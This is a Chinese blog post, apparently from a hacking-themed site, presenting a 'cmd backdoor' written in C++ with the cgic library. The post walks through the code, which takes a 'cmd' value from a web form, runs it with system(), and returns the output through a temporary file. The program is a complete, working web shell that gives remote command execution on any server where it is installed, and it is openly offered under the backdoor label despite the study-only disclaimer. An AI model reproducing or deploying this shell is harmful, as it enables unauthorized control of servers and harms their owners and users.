一款cmd后门代码

  • 内容
  • 相关
int cgiMain()
{
	cgiHeaderContentType("text/html");
	char szPost[256];
	cgiFormString("cmd",szPost,sizeof(szPost));
	string strRe,strComm = szPost;
	strComm += ">01.tmp";
	system(strComm.c_str());
	ifstream file("01.tmp",ios::in);
	while (getline(file,strRe))
	{
		cout<<strRe<<"<br />";
	}
	file.close();
	remove("01.tmp");
	return 0;

}

 比较简陋,只是来演示一下cgic库的使用。 

    cgiHeaderContentType是输出html文件的头。我上一篇文章讲了在cgi需要输出内容时,需要先输出"Content-type:text/html\n\n",这个函数就是起到这个作用。大家看源代码也可以看到。

    cgiFormString("cmd",szPost,sizeof(szPost));这个函数很重要。众所周知,POST或GET到的字符串是这样一个格式:a=xxxxxx&b=yyyyyy&c=112233。我们这个函数,就是获得每一个索引对应的值。

    第一个参数是索引的名字,第二个参数是保存获取到的值的字符串,第三个值是字符串大小。比如我们获取到的是cmd=ipconfig,则通过索引“cmd”就能获取到值ipconfig。

    原则上来说,获取到了值,也就是命令的内容“ipconfig”,我们就可以执行了。但是我用的system函数不能返回执行结果。所以我换个方式,将执行的结果放入一个临时文件,然后从文件中获取到执行结果并删除文件。这也就是我后面的代码做的工作。都是CPP的内容我就不细讲了,文件操作也可以使用C语言中的fopen、fgets,效果相同。

    提一下,如果要把一个命令的输出内容放入文件,直接在命令后面加">xx.txt"就行,就输出到了xx.txt文件中(绝对路径也行)。

    ccgi是一个优秀的C语言CGI库,英语不好的同学可以结合我附件中的doc,里面有各个函数的中文介绍,包括设置cookie、上传文件等等功能。所以说很强大。  

本文标签:

版权声明:若无特殊注明,本文皆为《颓废》原创,转载请保留文章出处。

收录状态:[百度已收录] | [360已收录] | [搜狗已收录]

本文链接:一款cmd后门代码 - https://www.0dayhack.com/post-609.html

严重声明:本站内容来自于互联网,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规,黑客不是骇客,黑客维护网络安全

发表评论

电子邮件地址不会被公开。 必填项已用*标注